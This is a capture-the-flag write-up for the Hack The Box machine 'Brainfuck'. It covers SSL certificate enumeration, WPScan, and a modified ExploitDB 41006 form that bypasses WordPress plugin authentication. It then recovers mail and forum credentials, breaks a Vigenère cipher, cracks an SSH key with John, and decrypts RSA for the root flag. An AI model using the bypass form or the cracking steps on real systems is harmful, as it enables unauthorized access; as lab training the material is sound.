> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/red-teaming/hack-the-box/linux/brainfuck-insane.md).

# Brainfuck (Insane)

## Summary

In the enumeration phase, we investigate the **SSL certificate** and learn two DNS names. One name points to a WordPress site and the other points to a "secret forum".

We run **WPScan** and find a vulnerable plugin. Exploiting this vulnerability, we gain access to the **WordPress Admin panel** without knowing the password.

The admin panel contains a **SMTP password**, and we can get access to the **emails** using Evolution. The credential for the "secret forum" is in one of the emails.

In the "secret forum", we encounter an **"encrypted"** thread and we have to figure out a way to decrypt the ciphertexts. Once all the messages are decrypted, we get a download link for an encrypted RSA key. We need **crack the password** out of it using John. At this stage, we can SSH in as Orestis and get the user flag.

In the privilege escalation phase, we are given a simple **RSA** encryption script and the objective is RSA decryption. The output is the root flag.

### Skills Learned

* Enumerating SSL certificates
* Exploiting WordPress
* Exploit modification
* Enumerating mail servers
* Decoding Vigenere ciphers
* SSH key brute forcing
* RSA decryption techniques

### IP

* RHOST: 10.129.1.1
* LHOST: 10.10.14.60

### Nmap

![Nmap](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2Fgit-blob-52ed367a9e3da74aca28f6ca84783bf832c4912e%2Fimage.png?alt=media)

Intuition tells us to investigate port 443.

### SSL Certificate Enumeration

Visiting `https://10.129.1.1` gives us a blank nginx page:

![nginx](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2Fgit-blob-738496bba2f99d394c00efc790cbedd063a6b9c4%2Fimage.png?alt=media)

Click the "lock" icon and investigate the SSL certificate:

![SSL certificate](https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2Fgit-blob-992cee4080053464b06a92e9bbdcd8496ed2211a%2Fimage.png?alt=media)

First, we get an email address `orestis@brainfuck.htb`:

![orestis@brainfuck.htb](https://i.imgur.com/vM5UMs9.png)

Next, we get two DNS names `www.brainfuck.htb` and `sup3rs3cr3t.brainfuck.htb`:

![DNS names](https://i.imgur.com/rZ61k0B.png)

Now we should add `10.129.1.1 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb` to `/etc/hosts` and visit `https://brainfuck.htb`, `https://www.brainfuck.htb`, and `https://sup3rs3cr3t.brainfuck.htb` to see if there is any valid page. It turns out that `https://brainfuck.htb` and `https://www.brainfuck.htb` point to a **WordPress** site:

![WordPress](https://i.imgur.com/DYdjw1V.png)

And `https://sup3rs3cr3t.brainfuck.htb` points to **"Super Secret Forum"**:

![Super Secret Forum](https://i.imgur.com/BZvLBN7.png)

### WPScan

When we see a WordPress site, usually we want to run **WPScan** in the background using the command `wpscan --url https://brainfuck.htb --disable-tls-checks`. In this case, WPScan finds an outdated plugin named `wp-support-plus-responsive-ticket-system`:

![wp-support-plus-responsive-ticket-system](https://i.imgur.com/Rb1EEfs.png)

We can also enumerate the usernames using WPScan. The command is `wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u`. WPScan finds two usernames `admin` and `administrator`:

![admin and administrator](https://i.imgur.com/vop56hp.png)

### WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation

Searching this plugin on Google leads us to ExploitDB 41006 at <https://www.exploit-db.com/exploits/41006>. It suggests that we can log in to admin panel without knowing any password using the PoC HTML file. We need to modify the "action" attribute to `"https://brainfuck.htb/wp-admin/admin-ajax.php"`. Also, the `administrator` user is a low-privilege user and the `admin` user is what we want. The final PoC HTML content is:

```markup
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="admin">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>
```

What we want to do here is saving this HTML code as `PoC.html` and run `firefox PoC.html`. Click "Login". This request will let the server assign an admin cookie for us.

Go back to the WordPress site and refresh the page. Now we have access to the admin panel:

![Admin panel](https://i.imgur.com/2N37xf2.png)

### WP Admin Panel => SMTP Password

Enter the admin panel and navigate to "Settings => Easy WP SMTP". There is a hidden SMTP password:

![Hidden password](https://i.imgur.com/c519Hw1.png)

This "hidden" SMTP password can be obtained through developer tools. The password is `kHGuERB29DNiNE`:

![SMTP password](https://i.imgur.com/xrl4J82.png)

### SMTP Login => Forum Credential

We use `evolution` for SMTP login. Install it:

```bash
$ apt install evolution
```

Open the `evolution` client:

```bash
$ evolution
```

Go to "File => New => Mail Account" and set up an account with the credential `orestis:kHGuERB29DNiNE`. The email address is `orestis@brainfuck.htb`:

![Identity setting](https://i.imgur.com/Ktsmy3s.png)

![Receiving Email setting](https://i.imgur.com/iLSxURZ.png)

![Sending Email setting](https://i.imgur.com/5ZM8qJp.png)

The credential for the "secret forum" is in one of the emails:

![Forum credential](https://i.imgur.com/88Cg2aE.png)

The credential is `orestis:kIEnnfEKJ#9UmdO`.

### Forum Login => SSH Key

Now we go back to the "secret forum" and log in as `orestis`:

![Secret forum login](https://i.imgur.com/MIIOZZv.png)

In the thread "SSH Access", we can learn that Orestis is a really nice person and there is an "encrypted" thread. Also note that Orestis has a "signature template": each thread ends with `Orestis - Hacking for fun and profit`:

![SSH Access](https://i.imgur.com/0mk6c6V.png)

This "signature" will be crucial in the decryption phase. That "encrypted" thread is just "Key". Note that Orestis's signature is encrypted as three different ciphertexts:

![Key](https://i.imgur.com/EgCffMa.png)

This is the behavior of **Vigenère cipher**. From `dcode.fr`, we obtain the Vigenère cipher key:

![Vigenère cipher key](https://i.imgur.com/lXusxAQ.png)

The key is `fuckmybrain`. Once we have the key, we can decrypt each ciphertext. The crucial message contains a download link to the SSH key:

![Download link](https://i.imgur.com/4IP3RqZ.png)

Just change the IP address and download the SSH key:

```bash
$ wget --no-check-certificate https://10.129.1.1/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
```

### Foothold: Encrypted SSH Key

Here is the content of the `id_rsa` file:

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
B2nS4+9CYBK8IR3Vt5Fo7PoWBCjAAwWYlx+cK0w1DXqa3A+BLlsSI0Kws9jea6Gi
W1ma/V7WoJJ+V4JNI7ufThQyOEUO76PlYNRM9UEF8MANQmJK37Md9Ezu53wJpUqZ
7dKcg6AM/o9VhOlpiX7SINT9dRKaKevOjopRbyEFMliP01H7ZlahWPdRRmfCXSmQ
zxH9I2lGIQTtRRA3rFktLpNedNPuZQCSswUec7eVVt2mc2Zv9PM9lCTJuRSzzVum
oz3XEnhaGmP1jmMoVBWiD+2RrnL6wnz9kssV+tgCV0mD97WS+1ydWEPeCph06Mem
dLR2L1uvBGJev8i9hP3thp1owvM8HgidyfMC2vOBvXbcAA3bDKvR4jsz2obf5AF+
Fvt6pmMuix8hbipP112Us54yTv/hyC+M5g1hWUuj5y4xovgr0LLfI2pGe+Fv5lXT
mcznc1ZqDY5lrlmWzTvsW7h7rm9LKgEiHn9gGgqiOlRKn5FUl+DlfaAMHWiYUKYs
LSMVvDI6w88gZb102KD2k4NV0P6OdXICJAMEa1mSOk/LS/mLO4e0N3wEX+NtgVbq
ul9guSlobasIX5DkAcY+ER3j+/YefpyEnYs+/tfTT1oM+BR3TVSlJcOrvNmrIy59
krKVtulxAejVQzxImWOUDYC947TXu9BAsh0MLoKtpIRL3Hcbu+vi9L5nn5LkhO/V
gdMyOyATor7Amu2xb93OO55XKkB1liw2rlWg6sBpXM1WUgoMQW50Keo6O0jzeGfA
VwmM72XbaugmhKW25q/46/yL4VMKuDyHL5Hc+Ov5v3bQ908p+Urf04dpvj9SjBzn
schqozogcC1UfJcCm6cl+967GFBa3rD5YDp3x2xyIV9SQdwGvH0ZIcp0dKKkMVZt
UX8hTqv1ROR4Ck8G1zM6Wc4QqH6DUqGi3tr7nYwy7wx1JJ6WRhpyWdL+su8f96Kn
F7gwZLtVP87d8R3uAERZnxFO9MuOZU2+PEnDXdSCSMv3qX9FvPYY3OPKbsxiAy+M
wZezLNip80XmcVJwGUYsdn+iB/UPMddX12J30YUbtw/R34TQiRFUhWLTFrmOaLab
Iql5L+0JEbeZ9O56DaXFqP3gXhMx8xBKUQax2exoTreoxCI57axBQBqThEg/HTCy
IQPmHW36mxtc+IlMDExdLHWD7mnNuIdShiAR6bXYYSM3E725fzLE1MFu45VkHDiF
mxy9EVQ+v49kg4yFwUNPPbsOppKc7gJWpS1Y/i+rDKg8ZNV3TIb5TAqIqQRgZqpP
CvfPRpmLURQnvly89XX97JGJRSGJhbACqUMZnfwFpxZ8aPsVwsoXRyuub43a7GtF
9DiyCbhGuF2zYcmKjR5EOOT7HsgqQIcAOMIW55q2FJpqH1+PU8eIfFzkhUY0qoGS
EBFkZuCPyujYOTyvQZewyd+ax73HOI7ZHoy8CxDkjSbIXyALyAa7Ip3agdtOPnmi
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----
```

Note that this SSH private key is **encrypted** and we need to brute-force the password. This password will be used when we SSH in as Orestis. First, we need to do `ssh2john` to convert the format. We use [ssh2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py):

```bash
$ ./ssh2john.py id_rsa > hash.txt
```

Next, crack the hash with John:

```bash
$ wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
$ john hash.txt --wordlist=rockyou.txt
```

The password is `3poulakia!`:

![John](https://i.imgur.com/57GwKCk.png)

Now SSH in as Orestis:

```bash
$ chmod 600 id_rsa
$ ssh -i id_rsa orestis@brainfuck.htb
```

We are Orestis:

![Orestis](https://i.imgur.com/5FLxPKv.png)

### Privilege Escalation: RSA Decryption

The `encrypt.sage` file contains the source code for RSA encryption:

```python
nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')
```

The root flag `/root/root.txt` is encrypted using this script and our object is to decrypt it. This challenge is trivial since $p$, $q$, and $e$ are stored in `debug.txt`:

![debug.txt](https://i.imgur.com/QbcVuZL.png)

Write a simple decryption script locally:

```python
#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes

#--------Data--------#

p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
c = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

#--------RSA decryption--------#

N = p * q
phi = (p - 1 ) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()

print(flag)
```

The output is just the root flag.